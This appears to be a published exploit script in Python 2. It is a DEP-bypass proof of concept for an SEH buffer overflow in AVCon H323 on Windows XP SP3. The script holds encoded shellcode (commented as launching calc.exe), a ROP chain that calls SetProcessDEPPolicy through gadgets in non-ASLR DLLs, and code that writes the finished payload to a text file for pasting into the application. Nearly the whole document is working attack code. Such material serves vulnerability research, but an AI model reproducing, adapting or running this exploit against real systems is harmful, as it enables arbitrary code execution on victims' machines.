AVCon – DEP Bypass
# DEP Bypass for OptIn/OptOut # all modules used are not aslr aware # script produces a text file, copy the contents # paste in the input field next to the call button # discovered by Dillon Beresford import sys from struct import pack print "\n=====================" print "AVCon H323 DEP Bypass" print " Written by Blake " print " Tested on XP SP3 " print "=====================\n" # around 619 bytes of space before seh overwrite # if more space is needed, around 2263 bytes after seh overwrite # calc.exe shellcode =( "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47" "\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38" "\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48" "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c" "\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58" "\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44" "\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38" "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33" "\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47" "\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a" "\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b" "\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53" "\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57" "\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39" "\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46" "\x4e\x46\x43\x36\x42\x50\x5a") # SetProcessDEPPolicy ROP Chain seh = pack('<L',0x1001414a) # {pivot 2072} # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,814 # RETN ** [avnmc2.dll] rop_nop = "\x41" * 3 # needed to align rop nop rop_nop += pack('<L',0x10024c43) * 90 # RETN - avnmc2.dll rop = pack('<L',0x20047e99) # POP EBX, RETN - HikPlayM4.dll rop += "\xff\xff\xff\xff" rop += pack('<L',0x6de13c78) # INC EBX # RETN 00 ** [xish264.dll] rop += pack('<L',0x6ddc48e4) # POP EBP, RETN - xish264.dll rop += pack('<L',0x7c8622a4) # SetProcessDEPPolicy - XP SP3 rop += pack('<L',0x20050f44) # POP EDI, RETN - HikPlayM4.dll rop += pack('<L',0x20050f45) # RETN rop += pack('<L',0X20014DE1) # POP ESI, RETN rop += pack('<L',0x20050f45) # RETN rop += pack('<L',0x10016d22) # PUSHAD # RETN ** [avnmc2.dll] nops = "\x90" * 20 junk = "\x43" * 5000 buffer = "\x41" * (1023 - len(rop_nop + rop + nops + shellcode)) # SEH overwritten at 1023 print "[+] Creating file" try: file = open("exploit.txt","w") file.write(rop_nop + rop + nops + shellcode + buffer + seh + junk) file.close() print "[+] File created" except: print "[X] Error creating file!" raw_input("[+] Press any key to exit\n") |